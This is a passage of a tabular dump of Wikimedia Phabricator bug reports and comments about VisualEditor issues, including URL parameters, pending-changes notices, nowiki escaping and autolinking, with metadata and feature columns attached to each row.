+**Severity**: normal
+**See Also**:
+* {T53421}
+* {T55746}
+* {T55441}",Medium,50.0,1375206000,1455664404.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-7te6uik6zxfmwlua2dgh,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,1
+611680,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","This is now mostly done, for single edit tab wikis.",,,1455664404,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,True,,,137,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+472700,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","(per https://phabricator.wikimedia.org/T55441#962602)
+
+I agree. I don't think it's realistic or desirable to change the url of the editor. Instead we should (eventually) change the default. We can support permalinks for when the url given is semantically related to VisualEditor, but in most cases that is not the case.
+
+There are many cases where the link itself has no relation to an editor, but we do want to send traffic to VisualEditor for new users (when configured as default):
+* red links generated by the parser.
+* edit links generated by templates.
+* edit links created by extensions and gadgets.
+* third party sites.
+* existing content and discussions.
+
+The majority of those links cannot be feasibly changed, with the exception of those generated by the parser as red links. To change those, the parser would need access to user preferences (which fragments the cache) and the parser would need access the target page content model (which requires additional expensive queries, and is also variable; so it would require cascading cache invalidation).
+
+Instead of changing the url of the ""Edit"" or ""Create"" tab in the interface (and providing secondary links for other editors), it probably makes more sense to hook into EditAction (action=edit) and change the default server-side (based on page content model, and current user preferences). Then, we can use an optional query parameter (e.g. action=edit&editor=visualeditor) in case a direct permanent is wanted. Such as when switching between the editors, or when otherwise relying on exact behaviour (e.g. browser tests and gadgets).",,,1433993930,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,True,,,101,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0
+249952,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","(In reply to Helder from comment #1)
+> For the sake of solving bug 51421, maybe it could use ""action=vedit""?
+
++1",,,1397517663,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+249945,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""",See also bug 53746 comment 3.,,,1382125536,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+249937,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","Another reason why the current method is not ideal, taken from
+https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Categories/reply_(8)
+
+>Lots of template transclusions also offer a specific edit link.
+>Their action uses only the wiki code editor. If both actions
+> ""edit"" and ""editVE"" were merged into a single one (with a simple
+> switch to show either the editable preview or the wiki code) it
+> would be simpler. And the ""Show preview"" button could disappear
+> below the wiki editor (it would just remain a ""Save page"" button),
+> but the ""Save"" button could also show the actual rendering
+> without the limitations of the editable preview.",,,1381609456,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+249929,"VisualEditor: VE should use the existing ""action"" URL parameter instead of the new ""veaction""","For the sake of solving bug 51421, maybe it could use ""action=vedit""?",,,1375207110,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7te6uik6zxfmwlua2dgh,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0
+54280,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"When a page has pending edits and it is opened for editing using VisualEditor, there is a dropdown box with a notice about this.  When a page has a template or a file with pending changes is opened for editing, the dropdown box does not appear.
+
+An example on the Russian Wikipedia:
+https://ru.wikipedia.org/wiki/%D0%98%D1%80%D0%B3%D0%B8%D1%88
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52440",Medium,50.0,1375204500,1422422963.0,PHID-USER-fwlidikyeorzj35hufwu,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rkr7k7s24b2ie267wdh5,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+403773,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Change 123875 merged by jenkins-bot:
+Show pending changes notice about unstable transclusions in VE
+
+[[https://gerrit.wikimedia.org/r/123875]]",,,1422422861,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,False,,,82,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+249898,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"(In reply to Alex Monk from comment #6)
+> (In reply to James Forrester from comment #5)
+> > (In reply to Alex Monk from comment #3)
+> > > Shouldn't this appear on the wikitext editor too then?
+> > 
+> > Maybe create a further bug for that in FlaggedRevisions?
+> 
+> I just noticed that it was already made - by you. And it's what this bug is
+> marked as depending on.
+
+Ha. Never mind me. :-)",,,1396644576,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1
+249892,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"(In reply to James Forrester from comment #5)
+> (In reply to Alex Monk from comment #3)
+> > Shouldn't this appear on the wikitext editor too then?
+> 
+> Maybe create a further bug for that in FlaggedRevisions?
+
+I just noticed that it was already made - by you. And it's what this bug is marked as depending on.",,,1396644489,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+249888,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"(In reply to Alex Monk from comment #3)
+> Shouldn't this appear on the wikitext editor too then?
+
+Maybe create a further bug for that in FlaggedRevisions?",,,1396632349,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1
+249885,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Change 123875 had a related patch set uploaded by Alex Monk:
+Show pending changes notice about unstable transclusions in VE
+
+https://gerrit.wikimedia.org/r/123875",,,1396625665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+249879,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,Shouldn't this appear on the wikitext editor too then?,,,1396622745,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,39,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+249874,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Yes, this is intentional (as the tool interferes with VisualEditor and will need re-writing/merging into VE to work properly).
+
+The notice above the page having transcluded files or templates with outstanding changes feels like one of the things that should appear in the wikitext page's edit notices (and so on VisualEditor's panel too) - not sure why it doesn't. Is this a Pending Changes bug?",,,1375216355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+249867,The on-page Flagged Revisions notice about transcluded files or templates having outstanding changes doesn't appear in the edit notices,"Specifically, not only does the dropdown box not appear, but the notice that was on the page before clicking ""edit"" disappears, leaving absolutely no notice.",,,1375207442,,PHID-USER-fwlidikyeorzj35hufwu,False,,,PHID-TASK-rkr7k7s24b2ie267wdh5,task_subcomment,,True,c1,3,False,,,4,,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+54268,Improve nowiki escaping of template arguments by using global context,"When an unmatched literal square bracket is used in the title of a reference, Parsoid or VisualEditor encloses it in a nowiki tag.
+
+Example on the live wiki: https://en.wikipedia.org/w/index.php?title=Wikipedia&diff=566045928&oldid=566042453#cite_ref-209 (line 360)
+Examples in testing: https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=566402676&oldid=566401436
+
+It is possible this is a reappearance of or related to T45067
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+{T45067}
+{T52331}",Medium,50.0,1375178760,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-x4ddesfyx6gxnu6ahuf6,task_description,open,True,c1,3,False,False,,4,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+249281,Improve nowiki escaping of template arguments by using global context,"Yes, this is a known problem.  There are two different forms of nowiki escaping that goes on in Parsoid.  One is applied to text strings (the common kind that appears around [[foo]] when typed literally).
+
+The one in this bug report is applied to transclusion parameters to prevent literal characters messing up transclusion parse.
+
+Ex: If {{tpl|foo|bar}} is editd to {{tpl|[[foo|bar]]}}, then the ""[[foo"" and ""bar]]"" have to be wrapped in nowikis to prevent ""[[foo|bar]]"" from being parsed as a wikilink.
+
+The current limitation of this second form of nowiki escaping is that it only checks arguments one at a time.  So, it conservatively escapes ""[foo"" in one argument right now without looking at the global context of all arguments which is why you see the nowiki escapes there.
+
+To be fixed.",,,1375200325,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-x4ddesfyx6gxnu6ahuf6,task_subcomment,,True,c1,3,True,,,4,,1,0,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+54261,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),"**Author:** `sandrobt.wiki`
+
+**Description:**
+The (visual)edit button in a diff (such as http://it.wikipedia.org/w/index.php?title=Kawakami_Gensai&diff=20609681&oldid=18301858) makes you edit the last version (in the example above the edit button gives the link http://it.wikipedia.org/wiki/Kawakami_Gensai?veaction=edit), whereas clicking on edit source makes you edit the old version (the newest of the two compared versions).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1375161360,1397598107.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pey4kjm5sey6cllpuym2,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+248950,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),"This was fixed some time ago, it appears.",,,1397598107,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,True,,,41,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+248945,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),As far as I can tell the edit source and edit links point to the same oldid. Is this bug still valid?,,,1397523999,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+248938,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),This looks to be possibly the same issue as bug 51364,,,1376475898,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+248930,VisualEditor: VE edit tab points to the wrong oldid on diff pages (earlier version not later one),Confirming this -  http://it.wikipedia.org/w/index.php?title=Salamandrina_terdigitata&diff=60451620&oldid=57566108 .,,,1375291261,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pey4kjm5sey6cllpuym2,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+54243,VisualEditor: Subpages' link to their parent in the page strapline (#contentSub) get hidden but are still there,"Steps to reproduce:
+
+Go to any page that is a subpage, such as a user sandbox. Observe the link to the parent page, located just under ""From Wikipedia..."". Activate VE. Observe that the aforementioned link disappears.
+
+Found in firefox 22, chrome 28, in both monobook and vector. Screenshot at https://en.wikipedia.org/wiki/File:VE_Phantom_Link.png
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54325
+https://bugzilla.wikimedia.org/show_bug.cgi?id=58063",Medium,50.0,1375131300,1389633369.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jjtln7nquqmd5je6fmy3,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0
+247770,VisualEditor: Subpages' link to their parent in the page strapline (#contentSub) get hidden but are still there,"Change 107133 merged by jenkins-bot:
+Hide #contentSub properly
+
+https://gerrit.wikimedia.org/r/107133",,,1389633321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jjtln7nquqmd5je6fmy3,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247763,VisualEditor: Subpages' link to their parent in the page strapline (#contentSub) get hidden but are still there,"Change 107133 had a related patch set uploaded by Jforrester:
+Hide #contentSub properly
+
+https://gerrit.wikimedia.org/r/107133",,,1389626443,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jjtln7nquqmd5je6fmy3,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54241,VisualEditor: Render absolute URLs as links inside the editor,"When you copy & paste a link into VisualEditor, it will not be recognized as a URL, but will appear as plaintext. The MediaWiki parser does render it as a clickable link, of course.
+
+This is annoying especially for references, because you might be confused why your link you're adding as a citation doesn't appear to be clickable.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52204",Medium,50.0,1375129740,1394489652.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-7wx6pzrxilelrduf5qci,task_description,resolved,True,c1,3,False,False,False,4,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+247714,VisualEditor: Render absolute URLs as links inside the editor,"Merging this into 52204 as it's a sub-request.
+
+*** This bug has been marked as a duplicate of bug 52204 ***",,,1394489652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7wx6pzrxilelrduf5qci,task_subcomment,,True,c1,3,True,,,36,,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+54204,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Adding ""ISBN 0-471-17864-0"" doesn't render the ISBN as a link.  This is more important in the reference tool, but should work on all rich text surfaces.
+
+See also:
+* {T54241}
+* {T63558}",Medium,50.0,1375057320,1439918046.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-df6digqa5tkg4x3pko26,task_description,resolved,True,c1,3,False,False,False,4,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0
+510410,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Filed T109498 for the remaining ""pasted ISBN"" bit of this bug.",,,1439925713,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+510228,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Change 230146 merged by jenkins-bot:
+Detect paste of wikitext and convert it
+
+[[https://gerrit.wikimedia.org/r/230146]]",,,1439913324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,111,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+510193,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Change 230146 had a related patch set uploaded (by Jforrester):
+Detect paste of wikitext and convert it
+
+[[https://gerrit.wikimedia.org/r/230146]]
+",,,1439910967,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,False,,,111,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+510191,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Typed and pasted URLs are now merged in core.
+
+*Pasted* RFC/PMID/ISBN links is implemented  (https://gerrit.wikimedia.org/r/230146 is in review).
+
+Currently missing: *typed* RFC/PMID/ISBN links are not autolinked.",,,1439910724,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,111,,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+507619,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link","Autolink when typing has been merged.  Autolink after pasting is in review, but the functionality is complete.",,,1439487915,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-df6digqa5tkg4x3pko26,task_subcomment,,True,c1,3,True,,,110,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+504885,"Automatically recognise bare links and magic links (ISBN/etc.), and display as a link",">>! In T54204#1522662, @Amire80 wrote:
+>>>! In T54204#1507599, @ssastry wrote:
+>> T107433 (merged as a dupe here) seems to be a major source of nowikis on frwiki as per https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis/Nowiki
+> 
+> In Hebrew as well.
+
